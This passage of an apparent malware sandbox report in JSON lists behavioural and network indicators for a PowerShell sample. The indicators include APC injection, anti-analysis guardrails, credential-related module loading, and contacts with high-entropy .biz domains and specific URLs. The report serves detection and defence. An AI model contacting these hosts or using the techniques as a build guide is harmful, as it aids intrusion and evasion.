748 8192 744\" (UID: 00000000-00007548)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=YE1, O=Let's Encrypt, C=US\" (SHA1: 63:5A:B0:14:DE:28:E5:23:3D:A4:AC:F9:4D:F0:C5:15:BE:A2:BD:D4; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Root YE, O=ISRG, C=US\" (SHA1: D0:93:70:A9:86:49:82:A5:04:7D:A4:63:73:54:02:56:D0:8A:3C:81; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X2, O=Internet Security Research Group, C=US\" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X1, O=Internet Security Research Group, C=US\" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a web server","description":"$3a","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_3bbspsao.2lk.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pe23a1ys.z2t.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"aspnet_compiler.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"SearchIndexer.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"SearchProtocolHost.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"SearchFilterHost.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007328]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$3b","origin":"API Call","mitre_attack_id":"T1012","relevance":1,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 7328)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" (UID: 7328)\n \"SearchIndexer.exe\" queries basic process information of the \"C:\\Windows\\System32\\SearchIndexer.exe\" (UID: 1828)\n \"SearchIndexer.exe\" queries basic process information of the \"C:\\Windows\\System32\\SearchProtocolHost.exe\" (UID: 1828)\n \"SearchIndexer.exe\" queries basic process information of the \"C:\\Windows\\System32\\SearchFilterHost.exe\" (UID: 1828)\n \"SearchProtocolHost.exe\" queries basic process information of the \"C:\\Windows\\System32\\SearchProtocolHost.exe\" (UID: 4236)\n \"SearchFilterHost.exe\" queries basic process information of the \"C:\\Windows\\System32\\SearchFilterHost.exe\" (UID: 7548)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"aspnet_compiler.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007596)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$3e","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution (Powershell command string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"C:\\%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\Windows\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%WINDIR%\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"\\device\\namedpipe\\srvsvc\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7ljbxoxgndgmkwl008qo.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_3bbspsao.2lk.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_pe23a1ys.z2t.psm1\"\n \"powershell.exe\" writes file \"%appdata%\\microsoft\\windows\\recent\\customdestinations\\7ljbxoxgndgmkwl008qo.temp\"\n \"powershell.exe\" writes file \"%temp%\\__psscriptpolicytest_3bbspsao.2lk.ps1\"\n \"powershell.exe\" writes file \"%temp%\\__psscriptpolicytest_pe23a1ys.z2t.psm1\"\n \"powershell.exe\" writes file \"%localappdata%\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"$43","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 44.244.22.128 on port 80\n HTTP traffic to 34.41.139.193 on port 80\n HTTP traffic to 3.229.117.57 on port 80\n HTTP traffic to 172.234.24.173 on port 80\n HTTP traffic to 34.170.92.185 on port 80\n HTTP traffic to 50.16.27.236 on port 80\n HTTP traffic to 192.64.119.165 on port 80\n HTTP traffic to 104.219.250.36 on port 80\n HTTP traffic to 176.100.243.135 on port 80\n HTTP traffic to 52.16.171.153 on port 80\n HTTP traffic to 3.238.30.69 on port 80\n HTTP traffic to 172.234.24.152 on port 80\n HTTP traffic to 3.250.92.156 on port 80\n HTTP traffic to 34.229.166.50 on port 80\n HTTP traffic to 3.222.192.211 on port 80\n HTTP traffic to 52.43.119.120 on port 80\n HTTP traffic to 165.160.15.20 on port 80\n HTTP traffic to 193.166.255.171 on port 80\n HTTP traffic to 34.209.195.255 on port 80\n HTTP traffic to 52.212.150.54 on port 80\n HTTP traffic to 85.214.228.140 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$44","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$45","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"pywolwnvd.biz\" has high entropy\n Contacted domain: \"gytujflc.biz\" has high entropy\n Contacted domain: \"mgmsclkyu.biz\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7\n Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://www.anpmnmxo.biz/au\n Found HTTPS GET request to https://www.anpmnmxo.biz/ytenqmpsyaxmintj\n Found HTTPS GET request to https://www.anpmnmxo.biz/nnnbwobrm\n Found HTTPS GET request to https://www.anpmnmxo.biz/hqfyx","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"www.anpmnmxo.biz\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.219.250.36\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"aspnet_compiler.exe\" loaded module \"%WINDIR%\\SysWOW64\\samcli.dll\" at 74220000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$46","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007328)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"148f98c1c20\"\n \"Count\": \"1\"}\n \"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"148f98838a0\"\n \"Count\": \"1\"}\n \"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"148f98832e0\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"base64\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"aes\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Process\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF179097.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_3bbspsao.2lk.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pe23a1ys.z2t.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7LJBXOXGNDGMKWL008QO.temp\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF179097.TMP\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_3bbspsao.2lk.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pe23a1ys.z2t.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$47","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"SearchProtocolHost.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$48","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"7LJBXOXGNDGMKWL008QO.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\7LJBXOXGNDGMKWL008QO.temp]- [targetUID: 00000000-00007328]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007328]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"Environment Awareness","name":"Attempts to retrieve the system language code","description":"\"aspnet_compiler.exe\" called \"NtQueryInstallUILanguage\" with parameters {\"LanguageId\": \"1033\"}","origin":"API Call","mitre_attack_id":"T1614.001","relevance":10,"id":"api-307","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\SearchIndexer.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\SearchProtocolHost.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\SearchFilterHost.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"9/27 Antivirus vendors marked sample as malicious (33% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"General","name":"GETs files from a web server","description":"$49","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$4a","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Creates new processes","description":"\"SearchIndexer.exe\" is creating a new process (Name: \"C:\\WINDOWS\\system32\\SearchProtocolHost.exe\")\n \"SearchIndexer.exe\" is creating a new process (Name: \"C:\\WINDOWS\\system32\\SearchFilterHost.exe\")","origin":"API Call","mitre_attack_id":"T1106","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Opens a handle to the specified process","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00007328)\n \"powershell.exe\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00007328)\n \"powershell.exe\" opens a process \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" (UID: 00000000-00007328)\n \"aspnet_compiler.exe\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00007596)","origin":"API 